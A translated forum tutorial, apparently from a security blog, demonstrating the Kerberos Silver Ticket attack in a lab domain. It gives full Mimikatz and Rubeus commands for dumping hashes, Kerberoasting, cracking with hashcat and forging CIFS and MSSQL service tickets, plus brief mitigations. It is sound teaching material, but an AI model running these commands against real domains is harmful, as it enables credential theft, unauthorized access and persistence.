域持久性: Silver凭证攻击
本帖最后由 梦幻的彼岸 于 2022-5-18 09:48 编辑原文标题：Domain Persistence: Silver Ticket Attack原文地址：https://www.hackingarticles.in/domain-persistence-silver-ticket-attack/翻译作者：梦幻的彼岸简介Benjamin Delpy（mimikatz的创造者）在Blackhat 2014中介绍了他滥用Kerberos会话的Silver凭证攻击。Silver凭证是伪造的服务或特定服务的TGS凭证，可用于在与活动目录企业域连接的被攻击系统上保持持久性。在攻击中，攻击者可以制作一个有效的服务TGS，并使用相关的NTLM哈希值可以进一步制作其他服务的凭证。这篇文章包含与Silver凭证攻击相关的基本理论和演示。Silver凭证理论在我们开始之前，强烈建议你在这里阅读关于golden凭证的内容。Kerberos的基本流程可以通过阅读我们的文章来了解。一旦你阅读并理解了Kerberos的工作原理，我们就可以继续进行Silver凭证攻击了。在golden凭证攻击中，我们使用了krbtgt账户的哈希值，而在Silver凭证攻击中，我们将使用服务账户的密码哈希值。服务账户的密码哈希值可以通过各种方法提取，Kerberoasting就是其中之一。由于Silver凭证攻击不需要中间的TGT，Silver凭证可以在不与域控制器进行任何通信的情况下被伪造，因此比golden凭证攻击更隐蔽。Silver凭证攻击的工作方式如下所述：
[*]第一步: 利用服务账户的密码哈希值（NTLM哈希值）。用户可以使用Mimikatz、Kerberoasting等工具来执行此操作。
[*]第二步: 通过指定以下内容来获取新票证：
[*]Service hash
[*]Service name
[*]Target FQDN
[*]Domain SID
[*]第三步: 将新创建的Silver凭证注入到终端会话中，以利用和保持持久性
让我们看看它的实际效果。通过Mimikatz 获取Silver凭证在你现在看到的演示中，你会注意到我们使用了机器账户 "dc1$"的NTLM哈希值。你们中的许多人可能会感到困惑，因为我们不得不使用一个服务账户的哈希值。请注意，一台计算机还承载着多种服务，其中之一就是通用互联网文件系统服务（CIFS--文件共享服务）。因此，CIFS服务的密码哈希值与机器账户相同。目标：制作一个silver凭证，在dc1.ignite.local机器上建立CIFS（共享）的持久性由于攻击都是与维持持久性有关，我们必须假设以下情况：
[*]攻击者已经入侵了一台低权限的受害者机器（这里，用户名：harshitrajpal）。
[*]攻击者以某种方式获得了目标机器（dc1.ignite.local）的密码/NTLM
[*]攻击者在低权限机器上制作了silver凭证，以获得dc1.ignite.local上的CIFS服务的访问权和维持持久性。
让我们首先向您展示当前的用户、凭证，以及当我们访问dc1.ignite.local上的共享时会发生什么上述机器是低权限的机器。
接下来，我们需要dc1.ignite.local电脑账户的哈希值。可能有各种方法，但我们将快速跟踪并使用Mimikatz来获得它。让我们先激活Mimikatz，用sekurlsa::logonpasswords命令转储哈希值。注意，你可以按照任何方法来转储哈希值。
privilege::debug
sekurlsa::logonpasswords
这将转储机器内存中的所有哈希值，包括机器账户的哈希值。稍微滚动一下，我们发现我们的机器账户 "dc1$"的NTLM接下来，为了伪造一个silver凭证，我们必须找到域名的SID，使用命令可以很容易找到。请注意，最后一个连字符之后的数字（在这里，1115被称为相对SID，我们不希望这样。该部分之前的所有内容都是与我们相关的域名SID)whoami /user现在，为了伪造一个silver凭证，可以使用Mimikatz的 "golden "模块。我们只需插入我们的变量。在这里，我使用/ptt标志，直接在当前的shell中插入凭证。/id：它是任何随机的ID，在检查时可以在事件日志中看到。可以是随机的。/sid：关于域名。在这里阅读更多关于SID的信息。/domain：目标域的有效FQDN/service：生成凭证的服务/rc4：受害者机器的计算机账户的NTLM哈希值（之前发现的）。/user：冒充的用户名
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
klist
正如你在上面看到的，现在一个凭证已经被保存在当前会话的内存中。现在你将能够访问目标机器的CIFS。
1
dir \\dc1.ignite.local\c$
然而，如果你不想立即在内存中插入凭证，而是希望保存一个ticket.kirbi文件，你只需去掉"/ptt "标志，其余部分保持原样。
1
2
3
4
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
klist
dir
现在，这个kirbi凭证可以与Rubeus ptt模块等工具一起使用，并插入到内存中，随时使用。
rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\dc1.ignite.local\c$
当然，上面的整个过程也可以只用Rubeus来完成。通过Rubeus 获取Silver 凭证我们已经看到了CIFS作为一个例子，如果你跟随文章到目前为止，你也可以用Rubeus复制相同的东西，只需滚动一下鼠标就可以使用这些命令。然而，这次我想以不同的服务为目标，所以我设置了一个SQL服务器，并指定该服务由用户 "sqluser "运行（可以通过运行->services.msc->SQL->properties->logon完成）。这将使SQL服务通过我们新创建的服务帐户运行。现在，我们需要破坏这个账户的NTLM哈希值。我们将使用Kerberoasting攻击。请按照我们的指南来理解这个攻击，但简单地说，你在Rubeus中运行以下命令。/domain: 目标FQDN/creduser: 任何有效的被攻击的用户名/credpassword: 被攻击的用户的有效密码/nowrap: 为了使凭证blob（二进制对象）在Rubeus中以单行形式出现
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap
正如你所看到的，Rubeus已经自动确定了一个有效的Kerberoastable账户并转储了它的TGS。现在我们将使用Hashcat从这个TGS中离线提取密码
1
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force
几秒钟后，我们收到了我们的明文密码，"Password@1"现在，让我们用Rubeus将其转换成NTLM哈希值（rc4_hmac），因为我们的silver 凭证需要一个有效的NTLM
rubeus.exe hash /password:Password@1
我们还需要知道SID。这可以用whoami /user命令来完成最后，为了在Rubeus中为当前用户伪造一个凭证，我们使用以下命令：
rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt
/ptt 选项完全导入当前会话中的凭证。如果没有/ptt，ticket.kirbi文件将被保存。但正如你所看到的，现在已经创建了一个有效的silver 凭证
我们现在可以尝试登录服务器，运行一个显示主机名的基本命令。
sqlcmd -S 192.168.1.2,1433
SELECT HOST_NAME() AS HostName
go
然后就可以了! 正如你所看到的，我们的用户现在可以使用我们刚刚伪造的凭证连接到SQL服务。缓解措施由于该攻击是基于一个离线机制，并且没有DC参与，所以很难缓解该攻击。然而，仍然可以采取以下步骤来进行防护：
[*]启用PAC验证。如果启用，提交的凭证应首先由DC验证。因此，Silver 将被立即拒绝。
[*]使用强大的密码以防止暴力破解。
[*]控制必要的权限或将某些可以使用特定服务的用户列入白名单。
[*]缓解Kerberoasting问题
总结这篇文章谈到了Silver 凭证攻击，以及如何使用这种方法伪造一个特定服务的TGS。我们还使用两个工具实际演示了攻击者如何伪造和利用Silver 凭证。在现实生活中，获得一张golden 凭证是相当困难的，但Silver可以很容易地被伪造，因为人们对Kerberos保护的认识还不是很到位。希望你喜欢这篇文章。谢谢你的阅读。
试试看能不能看懂一点，多谢分享 Really awesome!
页:
[1]